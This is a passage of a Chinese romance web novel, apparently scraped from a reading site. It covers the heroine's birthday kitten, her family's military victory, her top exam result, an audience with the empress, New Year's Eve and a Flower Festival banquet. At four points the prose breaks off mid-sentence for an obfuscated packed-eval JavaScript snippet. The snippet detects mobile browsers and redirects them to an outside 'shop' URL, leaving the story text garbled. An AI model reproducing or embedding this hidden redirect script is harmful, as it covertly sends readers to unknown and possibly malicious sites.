兰亭知道二姑娘这是在等王爷,也就没有多劝说,她默默拿了件披风,然后跟在后头。 王爷对二姑娘最是上心的,今日这么重要的日子,然而除却那盒府上送来的月饼,别的什么消息都没有,不知是被何事耽搁了。 中天满月浑圆清透似玉璧,庭院池水亮如一面银镜,明月、星辰以及周围的景致映照其中,夜风吹过,水面清冷的月光碎裂成块,浮光掠影。 在院里等了一刻钟,黎书意依旧不见游隼的踪影,估计今夜是等不到了,她轻叹口气,终于从石凳上起身。 “哒哒哒!”墙外马蹄飞扬,不知是哪个莽撞的过路人深夜在巷道里疾驰,她没在意,转身朝对面的房间迈步。 “婠婠!”刚走没几步,身后传来一道急切的叫喊。 她忙转过头,不期然望见了墙头站立的百里烜赫,圆月高悬在他身后,银晖倾泄在他身上,他就像是披星戴月降落凡尘的仙人。 呆愣片刻,她彻底转过身子,问来人:“你从金英赶回来的?” “嗯。”百里烜赫说着从墙头下来,“前日那边的事便差不多忙完了,想着今日能赶回来。” 从金英到这里,正常算需要五天,他必定是日夜兼程,虽然收不到当面的祝福她会觉得遗憾,但是他这样赶来也令她心疼,于是关切问道:“可曾用了晚饭?” “还未。” “兰亭——” “小厨房里有给二姑娘备的夜食,婢子这便去拿来。”不待二姑娘说完话兰亭便主动上报,说罢小跑着离开了。 看着兰亭走远了,百里烜赫收回视线,问眼前的少女:“可是在等我?” “不,我是在等游隼。”黎书意实话实说,言罢,瞧见眼前人风尘仆仆的模样,她心里十分过意不去,遂温声责怪,“其实你不必着急回来的,生辰每年都过,哪里比得上建立义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550094|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仓重要。” “是我想你了。” 这话自然到仿佛在说今天的天气,她的心却被这不加掩饰的表白给弄漏跳了一拍。 “喵~”正不知该如何是好之时,忽听见一声细弱的叫声,像是猫狗发出来的,她刚准备开口问百里烜赫有没有听见,一道更清晰的猫叫又落入耳中。 这下她确定自己并非幻听,且声音似乎是从百里烜赫身上发出来的,在她好奇的注视下,百里烜赫从怀里掏出一只猫来。 借着皎洁的月光,可以看出这是一只黑橘白间色花猫,个头不比少年的手掌大多少,两只眼睛圆溜溜的,在黑夜里闪着宝石一般的光泽。 “好可爱。”她忍不住上手摸了摸那颗小脑袋。 “墨团我没办法为你找回来,希望以后由它来陪你。” 正摸着,头顶传来这样一句话,她逗猫的动作顿住,缓缓抬起头与满含柔情的凤眸对视,不曾想围猎那日自己的一时感慨竟然被他好好记下,心里不禁淌过一阵暖流。 “生辰快乐!”少年直勾勾地凝视着她,声音温柔。 “谢谢。” “二姑娘,王爷。”这时,兰亭端着托盘走来。 到了亭中,她将托盘里雁羹、煎鱼、薄夜饼和泡好的热茶搁到案上,然后默默退下了。 皓月明朗,繁星闪烁,幽深的花木丛中不时响起虫鸣声。凉亭里,黎书意与小奶猫亲近,百里烜赫开始用饭,两人不时说几句闲话。 不知过了多久,外头传来一慢两快的敲锣声,已经三更天了,黎书意抬头看向对面停筷有一会的人,温声催促:“你看起来很累,快些回去休息吧。” “嗯。”百里烜赫起身,互道了晚安后,他翻墙离开了。 次日清晨,黎书意一醒来就听见奶猫脆生生的叫声,想起那是昨夜百里烜赫送给自己的猫,她一骨碌从床上爬起,穿鞋来到外间。 兰亭正蹲在地上喂猫,那小猫安适地趴卧在圆垫上,粉嫩的舌头一伸一伸的,光是看着就令黎书意心里一柔。 “富春姑姑说这小奶猫也就三月大的样子,十分娇弱,得吃羊奶。”兰亭转过头道。 黎书意走过去在小猫面前蹲下,白天要比晚上看得更清楚,小猫背上的花色鲜艳特别,毛发长而亮泽,耳朵小而尖,鼻头粉粉的,眼睛大且有神,□□时还会发出满足的咕噜声。 看着小猫吃完羊奶,她起身去梳洗了,等自己也用过了早食,便抱起小猫到外面玩耍。 秋阳灿烂,天高云淡,院里花木随风飘落,空气里带着几分潮气,沁透肺腑。 尽管昨日才结下缘分,这小家伙现下却已经十分亲黎书意了,她一下一下地顺着猫毛,思考了一阵,为它取名为“点彩”。 “这猫哪来的?”黎长策边说边走入亭中,他原是来安慰自家小妹的,结果一进院就看见小妹正逗猫逗得不亦乐乎。 “别人送的。”黎书意抬头瞧了来人一眼,复又低下头逗猫了。 看小妹这般欢喜的模样,那所谓的别人黎长策心里已然有了答案,于是忙追问说:“他回来了吗,何时过来的?” 说完见人不答话,只兀自逗猫,昨晚亥正散的宴,他睡下之前也没听到下人通传,百里烜赫是怎么来的不言而喻。 想到这,他从鼻子里发出一声轻哼道:“他能耐了,居然连我黎家的后院墙也敢翻!” 说毕,望着笑意盈盈的小妹,恨铁不成钢道:“你能不能争气点。” 黎书意无所谓地耸肩,继续逗猫。 142. 魁首 中秋休沐过后,黎书意返回国子监上学。 从马车上下来,她怀着愉悦的心情踏入国子监,监内秋意深浓,满目橙黄橘绿,学子三三两两地在庭院里走着,谈笑声随秋叶在风中飘扬。 一进扶摇堂,魏慕依便朝她奔了过来,“书意姐姐好!” “你也好,还有,谢谢你的礼物。”她笑回。 两人闲话了几句,不多时,祭酒步入书堂,诸位学子立马起身行礼问好,待众人坐下了,祭酒让她们翻开书册,随后便开启了早课的讲经。 每日去国子监听讲,十天半个月与李诗施、花英、魏慕依她们聚一次会,家宴时和父兄诉说彼此的近况,隔三差五同百里烜赫通信或是小会,黎书意的生活日常和之前没什么太大的不同。 这日,她下学回来,闻父兄在家,于是直往长卿院去了,到庭院之中,发现沥泉正在指挥下人收拾东西,她感到好奇。 走入正厅,看见兄长和叔父都在,一一问候过,她将疑问道出:“父亲收拾行装是要去哪里?” “玉茗发生内乱,为父请命带军前去平叛。”黎横天坦然回道。 一听这话,黎书意的心抖然间乱了,最近的生活太安逸了,让她忘记身为武将,父兄他们是会出征这事了。 玉茗的内乱她前些日子听人议论过,闹事的是归化的夷人,两月前老族长逝世后其子继位,这位新族长野心勃勃,不甘俯首称臣,于是联合其他部族起兵谋反,势头不小。 黎书意心下对出征有些抗拒,然而抬眸一扫,从面前三人的眼睛里只看见了勃勃雄心,于是那些担忧、不安和紧张最终便被她咽下了。 尽管营地的练兵效果有目共睹,但身为将领,如今又非太平盛世,沙场才是他们真正的主场。 况且,来丹霄半载,他们还寸功未建,眼下好容易有机会,正是他们大展身手的时候,她怎能阻拦呢。 思及此,她把所有情绪糅合在一起,最后化作一句真诚的祝福:“那婠婠便祝父兄、叔父首战告捷!” 次日清晨,军队便启程了,黎书意因要去上学,所以没能去送军,只在家门口与三人简短作了个别。 此后,除了读书写信,她又多了一项日常,关注玉茗的战况。 …… 玉茗,抵达作战地点以后,黎横天与黎裕、黎长策分两路大军进攻,分别在赤丹和玉紫取得胜利,共败夷人部族,缴获两万多头牲畜,使得夷人实力大减,不少将领纷纷向黎家父子投降。 父子两人会军后,与驻守在金茶的首领巫生对峙了十二天,最后防线还是被黎家父子带领的军队击溃,巫生在战中被黎横天斩首,手下几员大将也被黎裕和黎长策杀死,失去了主心骨,夷人部族群龙无首,最终被平叛大军各个击破。 待捷报送达伊洛,黎书意收到家信的那一刻,她激动非常,这一战打得很漂亮,父亲、兄长和叔父用实力证明了自己。 等那边事了,大军班师回朝后三位将领皆受到了相应的赏赐,在朝堂彻底站稳了脚跟。 与蒸蒸日上的他们相比,西景正在迅速的衰落。 由于蝗灾、旱灾和饥荒四起,百姓生活困苦,又加上对朝廷积怨已久,更多的人揭竿而起。 汉云和白义的起义队伍越发壮大,已经发展到数万人,并且几支势力开始相互呼应,共同对抗朝廷。 看着自己最在乎的江山一点点被蚕食,这种痛苦应该要比一剑了断了谢嘉言更加折磨。 黎书意听闻消息后,除了最开始产生了点微妙的快意,更多的是难以言喻的复杂心情,毕竟西景是她的故土。 年底,发生了一件令人意想不到的事,平王谢嘉懿叛乱了,尽管他起事的时日尚短,但是相比其他政权来说,他的反叛对于西景的打击更大。 一直以来,平王给人的印象便是一个纵情山水的闲散王爷,忘忧楼的意外撞见打破了他在黎书意心中的形象,现在看来,她想得还是太少了。 不过也是,生逢乱世,有几分权势的人谁不想成就霸业,何况他还是王爷呢。 接下来的走向黎书意没有再关注,因为年试到了,年试的考试流程与期试并无二致,同样持续五天。 头两日考的是经学和史学,虽说题目、数量和期试完全相同,可难度却大幅提升。 好在她入学已近一载,对博士们的性情有了一定的了解,于是便尝试着揣摩他们的出题思路,同时认真备考。 如此一来,在考试时,她还算能够应对自如,笔下作答有条不紊。 诗词考试于第三日早上举行,这对她来说并无难度,她平日便热衷于读诗、赏诗、背诗,还常常自己框定题目和韵脚进行作诗练习。 因此,不管是补全诗词内容,还是解释诗词含义与出处,又或是命题作诗,她都能轻松处理。 棋试和上回一样,杀入终局的是她和吴云初。 尽管两人关系一般,但是吴云初围棋课上偶尔会向黎书意请教,私下也十分努力,这半年多来棋力大增。 似乎是为了一雪前耻,此次考试吴云初准备充分,明显认真研究过她下棋的风格,布局缜密,攻守兼备,以往两人对弈时她颇游刃有余,今次却处处掣肘。 随着棋局的推进,双方你来我往,寸土必争,到后期局势越发胶着,黎书意全神贯注,不敢有丝毫懈怠。 别处的比试都已经散了,唯有她们这边依旧战火纷飞,授棋艺课的先生和一众学子纷纷聚过来观战,并不时低声议论着。 “啪!”随着最后一颗棋子落下,黎书意轻轻松了一口气,悄然放下一直微提着的肩膀,庆幸自己到底还是凭借着那极其细微的优势取胜了。 吴云初不甘地盯着棋盘看了一会,旋即抬头朝她看来,脸上露出充满斗志的表情,下一刻一甩衣袖,转头离开了。 黎书意无所谓地笑了笑,虽然对弈的整个过程她都提心吊胆的,但同时也十分享受,她想她也该精进棋艺了,否则下次可能就败了。 第四日早上是书法比试,此次给定的是一首抒发国破家亡婉转凄楚的词作,她按照从前的思路,选择与诗作气韵相和的簪花小楷来书写作品。 年试画课的题目是“太平盛世”,说到太平盛世,黎书意脑海里首先想到的便是百姓安居乐业的画面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551999|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家远离战乱与灾荒,生活富足美满、衣食无忧。 而最能够展现出这般祥和之景的,没有什么比热闹的街市更合适,它就像是一面镜子,能最大程度地映照出各阶层人民的生活百态。 高大巍峨的城楼,鳞次栉比的店铺,琳琅满目的商品,川流不息的行人……她将伊洛集市的风貌刻画于纸上。 次日是最后一场考核,年试的射箭考核项目是骑射,规则是参考学子先经过分组,然后再由射箭师傅从第一组开始依次点名,被点到名字的学子需要立刻前往发马处,且手上只拿一弓一箭,另外再备两支箭斜插在身后腰带上。 做好准备以后,参考学子飞身上马,奔至箭道拐弯处等待射箭师傅发令,令下便开始射第一支箭,若此箭射中靶心,对面的陪考便会连续击鼓。 接着,学子再以同样方式将剩下的两支箭依次射出,倘若能成功射中剩下的两个箭靶,鼓点会再次敲响。 下半年里,花英未曾再指导黎书意,不过黎书意有认真上每一堂射艺课,也将花英和百里烜赫先前的教导铭记于心,再加上勤于练习,骑射之艺精进了许多,此次考核最后三箭全中。 张榜那天,黎书意依旧亲自去了国子监,下了马车她走到二年生的榜文前面,看见自己的名字写在左侧第一位,不禁露出了喜悦的笑容。 “恭喜!”同来看榜的李凌洲向她道贺。 “谢谢。” 因是年末,即便从学业中解脱出来了,黎书意依旧没能得闲,第二日清早,她开始做年尾盘点。 先重新梳理了一遍家中账目,查看了各种产业的经营和收支情况,然后再按功劳给府内仆从们发赏赐,同时吩咐春望姑姑采买年货。 兰亭想凑热闹,便跟着春望姑姑一道出门了,至傍晚才回来,入院时手上多了一堆东西,嘴角也几乎要牵到耳根。 “什么事这么开心?”合上最后一本账册,黎书意抬头问道。 兰亭答言:“二姑娘,外头的人都在议论您呢?” “我?” “他们都说您明明中途才入学,却用了不到一年便拔得头筹,当真机敏聪慧!” 黎书意闻言笑笑。 晚上,父兄从大营回来,他们一家三口有几日没一起好好说说话了,便打算今夜一道吃顿饭。 只是大厨房才刚开始传菜,二门那边通传说是宫里来人了,于是父亲忙出去迎人,她与兄长有些好奇,便跟在后面。 到了前厅,见来的是陛下身边的内侍,蔡仁。 进屋以后,父亲拱手行礼:“见过公公,不知陛下有何吩咐?” “见过黎将军。”蔡公公笑盈盈的,问候完了却是往门外瞧过来,“咱家今日来并无要事,只是来找黎二姑娘的。” 此话一出,三人皆惊。 正在黎书意愣神之际,蔡公公已经朝她走了过来,并含笑说道:“恭喜黎二姑娘年试夺得第一,陛下说想见你一面。” 陛下要见她,因为年试吗?可是此前从未听说过陛下召见过年试魁首,何况她又非即将入仕的三年生,她的心情如同汹涌的海浪,久久不能平静。 143. 面圣 翌日,黎书意卯时便起身,辰时就入宫了。 天光大亮,旭日渐高,皇宫笼罩在金色的光晕中,温暖而绚丽。 这是她二度入宫,上次不过才至麟德殿,这次去的则是太极宫。 在宫人的带领下,她心怀忐忑地进了太极宫偏殿。 殿内洁净敞亮,陈设古雅精丽,皇帝坐在临窗的雕夔龙檀木阔榻上,小几上百花瓷盏里的香茗正飘着袅袅轻烟。 虽非初次面见天颜,但此前两人距离从未这般近过,黎书意一时心跳如鼓,说不出的紧张。 等引路的宫人退下了,她福身拜道:“臣女黎书意见过陛下。” 皇帝高坐于上,深邃的眼睛悠悠扫下来,声音清冷而威严:“听闻你在国子监中表现出众,此次年试更是拿了第一。” 闻言,黎书意忖度片刻,而后小心翼翼地回答道:“国子监中的学子皆为逸群之才,臣女资质平平,又是中途入学,想要不落后于人,只能以勤补拙,再者,臣女能有今日之成绩,还要多亏学中诸位博士的悉心教导。” 话音落下,未听见回应,空气里一片安静,静到只能听见她的心跳声,这让她感受到一股莫名的压力。 “知道吗,百里烜赫曾同朕说过,他非你不娶。”半晌,耳畔飘来这样一句话。 尽管预感到皇帝会谈及此事,可是如此直白的话语实在让黎书意无从接口,最后便只能选择沉默以对。 “据朕所知,你们的父母曾有意为你们结亲,但彼时的你并不喜欢他,反而与西景的太子谢煜然走得更近,甚至还差点成了他的太子妃,你与百里烜赫是在他隐姓埋名借住在府上时才渐渐亲近的。” 话一句一句灌入耳中,黎书意的心一分一分变得不安,藏在袖中的手也一点一点捏紧,这是她的过去,她不会否认,只是这些事在她与百里烜赫的感情上算不上光彩的点。 “我丹霄与西景不同,君主的配偶手中是握有玺印的,可发号施令,行使政权,所以必须是一个德才兼备的人。”说到这,皇帝瞟了她一眼,“比起一个只是有些才名的陌生女子,朕更青睐于在朕眼皮子底下长大的人。” “只可惜……”说着,她叹了口气,停顿片息后继续道,“那俩个丫头心中各有所属,朕不想制造怨侣。” 又一阵短暂的沉默过后,皇帝朝她看来,目光里满含审视,“要想成为一朝国母,国子监的考验不过是最基础的。” 听见这话,黎书意惊诧地抬起头直视着面前眉眼含威的高贵女子,所以这是认可她了吗? 怔愣过后,意识到自己的失礼,她匆匆垂下眼,然后恭敬地答道:“臣女明白,臣女日后会继续努力的!” “嗯。”皇帝微微颔首,旋即摆手道,“退下吧。” “是。”她点头,而后默默退出了偏厅。 太极宫中花木繁盛,被朝露洗刷过后,更显得鲜艳欲流了,空气清新中也带着淡淡的甜香,蔡公公直将她送到了宫门口。 与来时的忐忑不同,此时黎书意全身松快,兼着一种难以言说的喜悦。 走到太极门,迎面撞上百里烜赫,他面色紧绷,脚下生风,见到她猛地停下来。 “你怎么来了?”她问。 百里烜赫并未说话,直接上前两步抄起她的手就往旁边走,将兰亭和纯钧抛在一边。 等到了安静的地方,百里烜赫停下来,急切地开口询问:“姑母找你都说什么了?” “问了年试。” “其他的呢?” 闻言,她打量了百里烜赫一眼,故作心灰意懒地转述说:“陛下说她看不上我,有意将李诗施和花英中的一个许配给你。” 话音刚落,见眼前的人脸色骤变,她见好就收,赶紧补充道:“不过谁让李诗施和花英都心有所属了,所以……” 少年的脸色随着她的话语慢慢缓和,下一刻又喜上眉梢,凝视着她的双眼问说:“姑母这是同意了?” “应该是。” 得此结果,两人相视一笑,他们没有再说话,只看着彼此,气氛静谧而柔和。 良久,百里烜赫才开口道:“走吧,我送你回去。” 黎书意却是摇了摇头,“我自己回去,你既然都来皇宫了,还是去问安得好。” 百里烜赫知道这话在理,犹豫过后点头道:“好,那我去了。” 于是,两边就此别过,一个往宫里走,一个往宫外去。 …… 寒冬腊月,北风凛冽,雨雪霏霏,又一年的春节悄然临近,黎府处处洋溢着忙碌而喜庆的氛围。 去岁因家中男丁出征在外,府内仅余黎书意一人,显得格外冷清,她也就没有太浓烈的过节心思。 今年阖家团圆,又是入丹霄的头个新年,她的兴致变得格外高涨。 除夕这日,天刚蒙蒙亮,她便早早起身,与叔母和三位姑姑一道张罗起来,指挥小厮侍女布置府邸,吩咐得力之人外出送节礼,去厨房查看年夜饭准备的情况……等诸事安排妥当,闲下来时已过午时。 她返回易安居去换装,再次出来时,从头到脚焕然一新。恰在此时,父兄与叔父也面圣应酬归来了,新年新气象,众人纷纷梳洗打扮,换上崭新的华服。 随着暮色渐渐笼罩,一家人齐聚一处,然后一同前往祠堂,祠堂地方不大,铺陈上也不如原本府里的那个好,不过足够安置祖宗牌位。 到堂中,他们面对有序陈列的牌位肃穆而立,父亲居前,叔父叔母位列第二排,她与兄长则站在第三排。在跃动的红烛和袅袅的香烟中,大家虔诚地上香祈祷,为家族的未来祈福。 仪式结束后,他们转去主院膳厅,厅内大圆桌上碗盘森列,珍馐美馔已尽数摆好,热气腾腾的佳肴散发着诱人的香气。 一家五口难得围坐在一起,饮酒吃菜的同时,他们互相分享趣事见闻,欢声笑语回荡在屋内。 用饭毕,撤下餐盘,他们移步至正厅,继续闲聊,一家人其乐融融地守岁,静静等待着新年的到来。 待过了子时,黎书意依次向父兄、叔父叔母拱手道贺,吉祥话说完,她这个家中年岁最小的人收获了四份厚厚的压岁钱。 接过红包,她满心欢喜,也赶忙拿出自己精心准备的礼物。 然后,她告别四人,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552000|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜悦转身往自己的院子去了,前行的路上灯火辉煌,张灯结彩的府邸亮如白昼。 一踏入院门,她便发现亭中坐着的熟悉身影,于是勾起唇角提裙快步走上前去,问候不请自来的人:“我以为你还有些时候才能到呢!” 百里烜赫起身迎过来,月光泼洒在他身上,为他镀上一层银白色光晕,他低着头,温柔地望向她,轻声道:“今日宫宴散得早,便想着早些来见你。” 她弯了眉眼,下一刻俏皮地伸出手,笑着讨要礼物:“今岁给我带了什么礼物? 百里烜赫未说话,露出一抹宠溺的笑容,然后从旁边石凳上拿起一个精致的雕花木盒递到她面前,声音温柔得如同春日里的暖风:“新年快乐!” 她眼中闪过一丝惊喜,双手接过木盒,缓缓打开,里面有两竖排列整齐的瓷瓶,她捏起其中一个瓶盖打开,见瓶内装着闪着光泽的粉状物,这是一盒珍贵的矿物颜料。 就在她好奇查看时,百里烜赫的声音在耳畔悠悠响起:“之前和我来往的信中,你不是曾抱怨说许多颜料无法展现出你心中所想呈现的色彩,于是我便托人去寻找适合的矿石,然后研磨了十瓶岩彩,希望你喜欢。” 她闻言缓缓抬起头,嘴角高高扬起,望着眼前的俊逸少年道:“还是一贯的那么会投其所好,谢谢,我很喜欢!” 这时,一只手伸到跟前,百里烜赫学着她之前的模样,也像小孩子讨要糖果一般,问她:“那我的礼物呢?” 她将木盒搁到石桌上,随后轻移脚步,站定在少年面前,在他的注视下,从怀中掏出一方新绣好的丝帕,然后托住递过来的那只手,将丝帕塞到他手中。 百里烜赫垂目看着手中的丝帕,帕子轻滑,上面似乎还残留着少女的体温,他拉住丝帕的一角,慢慢展开,只见丝帕上绣着一对栩栩如生的比翼鸟。 他的心猛地一颤,目光缓缓从丝帕上移开,落在少女身上,少女正背手而立,眉眼含笑望着他。 丝帕是贴身之物,这上面还亲绣了比翼鸟,寓意不言而喻,想到此处,他嘴角不自觉上扬,露出了灿烂的笑容。 “嘴巴都快咧到耳朵根啦!”黎书意见面前的少年这般开心,忍不住打趣道。 被指出来,少年也不扭捏,笑容依旧,大方地表示自己的喜悦道:“婠婠,我很开心。” 夜色温柔,疏星淡月泻下清光,树影婆娑,四周静谧无声,只余微风拂过枝叶的簌簌轻响,暧昧的气息在空气中弥漫开来。 黎书意扭着头,眸光流转,四处看了看,兰亭早在她入院时就识趣地离开了,此刻,偌大的院落里,唯有他们二人。 她轻咳一声,迈步上前张开双臂,环上了少年劲腰,轻声呢喃:“这样暖和多了。” 温香软玉在怀,百里烜赫心弦轻颤,他缓缓抬起两手,将少女彻底纳入怀中,两人便这般依偎在月下,贴耳私语。 不知过了多久,黎书意的倦意渐渐爬上来,忍不住打了个哈欠,百里烜赫见状,轻声道:“时候很晚了,回去睡觉吧。” 话语虽温柔,却满是不舍,又磨蹭了许久,两人这才恋恋不舍地松开手。 144. 花朝 春假转瞬即逝,国子监再度迎来了开学。黎书意正式成为一名三年生,学业压力比从前增大许多,不仅课业愈发繁重,所学内容也愈发深奥晦涩。 清晨,晨曦从东窗流入,屋内被金光映照得明亮灿烂,黎书意从睡梦中转醒,心恬意恰地伸了个懒腰,她慢慢自床上爬起。 今日原该上课的,但因与花朝节撞期,所以国子监便休沐了,陛下最是爱花,是以这个节日在丹霄极为盛行。 兰亭刚为她梳完妆,富春姑姑春风满面地走进屋来,吩咐身后的两个小丫头道:“把花放在小几上。” 接着朝她看来,含笑说:“后花园里的桃花和迎春花开得极灿烂,一会二姑娘可以去那里逛逛。” “好。”她应下。 厨房里也应节日氛围,准备的是茉莉花鸡丝粥和玫瑰花馒头,味道极清新爽口。 用过早膳,黎书意和叔母便带着一众婆子丫鬟们往花园去了。 春序正半,园子里花木繁盛,空气中弥漫着泥土和花草的清新气息,让人心旷神怡。 丹霄花朝节有赏红为百花祝寿祈福的习俗,走到景致最好的地方,她与叔母从富春姑姑手上接过备好的彩条,然后垫脚将彩条系在花枝上,为家人祈祷安康。 祭奠百花神结束,她们继续游园品茶,一个早晨就在温馨宁静中悠然过去了。 从花园游春回来,黎书意进浴房沐浴,待头发绞干之后,她走到衣柜前挑选衣服。 今日陛下在瑶华园举行百花宴,邀请朝臣及其家眷同赏百花,这是大宴,衣饰需要庄重得体。 打开衣柜斟酌片刻,她最终挑了件绣牡丹花纹的白色对襟宽袖短衫,下身搭的是粉蓝色齐胸襦裙,最后又加了一条紫色披帛做点缀。 衣服换好,兰亭细心地为她梳妆,先熟练地将头发绾成精巧的发髻,再往上插一支蝴蝶流苏簪,接着从首饰盒里挑了一对紫色宝石珠花耳坠往耳垂上一挂,最后又拿出胭脂,替她描眉上妆。 穿戴齐整以后,她站起身来,在镜子前转了一圈,镜中女子面白唇红,身上罗裙既不艳俗亦不寡淡,十分衬人。 等她去往二门,见家里其他人也都准备好了,她的父兄、叔父、叔母都身着庄重的服饰,她汇入队伍,五人一起走向停在门口的两辆马车。 到了瑶华园,他们从马车上下来,然后由正门而入。 园林廊腰缦回,亭台相接,在仆从的带领下,他们来到开宴的花园,园内百花齐放,姹紫嫣红,令人目眩神迷。 食案就安置在玉树琼花之下,案上摆着雕花器皿,器皿里盛放有各色精巧的花糕和以花为原料的美味佳肴。 宾客们锦衣丝履,大家站在绿树红花间,与亲朋好友或轻声交谈,或欣赏美景。 入场以后,五人自然地加入其间,黎书意带着叔母与李诗施、花英和魏慕依汇合一处,兄长与叔父去找他们交的朋友,父亲也与相熟的同僚们聊开了。 和风拂熙,酒淳花艳,众人语笑喧阗,园子里热闹非凡。 大家正聊着,听见不远处内侍高唱道:“皇帝皇夫到!” 于是全场安静下来,所有人的目光都投向了宴会入口处。 只见两位仕女在前边开路,她们从挎篮里抓出花瓣,再随手一扬,花瓣随风落地,铺开一条花道。 身后,皇帝与皇夫身着明黄色刺绣锦袍,两人并肩迈着优雅沉稳的步伐缓缓走来,一个威严沉肃,一个儒雅亲和,他们踏花而行。 随着皇帝和皇夫的入场,全场宾客齐声行礼问候:“恭迎皇帝皇夫!” 最后两人步入亭中,在亭中设的御坐上坐定,公爵大臣们也按照品级高低顺序入座,气氛庄重。 婉转悠扬的乐声响起,一群身着彩色纱衣的舞者轻盈地步入场中,如蝴蝶般翩翩起舞,百花宴上,歌舞升平,热闹非凡。 酒至半酣,两列端着托盘的绿衣侍女走入宴场,托盘里盛着新摘的花枝。 皇帝起身,她接过近侍递来的酒盏,面对群臣高唱祝词:“今日是花朝节,朕愿以虔诚之心,祈求上苍垂怜苍生,赐福我丹霄大地,风调雨顺,五谷丰登,百姓安居乐业,乐享太平盛世!” “祈百姓安居乐业,乐享太平盛世!” 全场宾客齐声唱和,然后再举杯共饮。 桃花酒清香味甘,饮罢,黎书意放下酒盏。 “黎书意,你上来。” 酒盏刚搁下,听到有人唤她,能在这种场合这种特殊时刻说话的只有一人,她抬头向高台看去,见御座上的皇帝正望着她。 黎书意知道,自陛下登基以来,丹霄便流传着一个习俗,每年的这一天,陛下会在宴上挑选出一人,亲手为其簪花,以示恩宠和嘉奖,被选中的人都是被寄予厚望的,或是有卓著功绩的人。 尽管入宫那日陛下已经表明认可她了,但是她万没想到陛下会选她,平静的心池霎时荡开了一圈圈涟漪。 “是。”短暂的愣怔过后,她屈膝行礼,再侧身出席,然后在众人的注视下一步步向前走去,最后拾级而上,站到了亭口。 园中诸位大臣、各家夫人夫婿,以及勋贵子女们的目光追随着粉裳少女前行,心思各异。 前些日子,他们便听闻陛下召黎书意入宫,今日又要为她簪花,恐怕除了嘉奖她在国子监取得的优异成绩,也有钦定其为定王妃的意思。 对此,大多数人并无异议,不说此女出身名门,品貌俱佳,且据传她本来就与定王关系匪浅。只是,对于那些想攀附定王的人家来说,他们的希望就此落空了。 丹霄皇帝从托盘里拿起罗绢编织的银丝贯顶牡丹花,将金枝缓缓插入少女乌黑柔亮的鬓发,然后语重心长道:“黎书意,朕望你勤学不辍,矢志不渝,锐意进取,以所学之知识,为民造福,为国效力!” 黎书意先恭敬行了一礼,然后郑重回道:“臣女谨遵教诲!” 丹霄皇帝满意地颔首,旋即摆手示意身边列队的侍女,她们便端着托盘走入各桌,开始为宾客们分发花枝。 待众人收了花枝,皇帝与皇夫二人便离席了,留下宾客们自行娱乐。 威压消失,花园里的气氛轻松起来,这桌行飞花令,那桌品花论花,好不热闹。 百里烜赫朝黎书意走来。 他的视线从少女的脸上移到发髻上,再从发髻上移回到脸上,最后凝视着那双漂亮的星眸温柔道:“很好看。” “是吗?”黎书意含笑以应,旋即目光落到他手里拿着的花枝,调皮地说,“我帮你戴上?” 百里烜赫未说话,直接将花递给少女,一副顺从的模样。 黎书意接过花,踮起脚尖,将细枝尾端往嵌宝金冠右边慢慢插入,簪好以后,她收回手身体后倾,打量着自己的杰作。 她原以为像百里烜赫这样长相冷峻的人簪花会很怪异,没想到居然意外的合适,他皮肤冷白,俊逸的面庞在粉色花朵的映衬下仿佛玉瓷。 “看够了吗?” 许是盯得久了,引来一句调侃,她也不羞,用方才他对自己说的话回他,迎上注视她的目光,坦诚道:“很好看。” 少年深邃的眼眸中含着无尽的笑意,映着夕阳绚丽的金光,仿若明珠生晖。 “黎将军,恭喜啊!令媛当真是才貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553959|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双全,聪慧过人呐,日后必定前途无量啊!” 两人相视而笑之际,近处宾客的说话声飘过来,黎书意闻声看过去,瞧见父亲笑着抬起杯子,谦逊地回道:“哪里哪里,小女不过是侥幸罢了!” 百里烜赫同样看向那边,轻声发表意见说:“很少看见你父亲如此饮酒,想必他今天很高兴。” “确实。”望着脸上笑容灿烂,不住与同僚们推杯换盏的父亲,黎书意心里充满了喜悦与满足。 …… 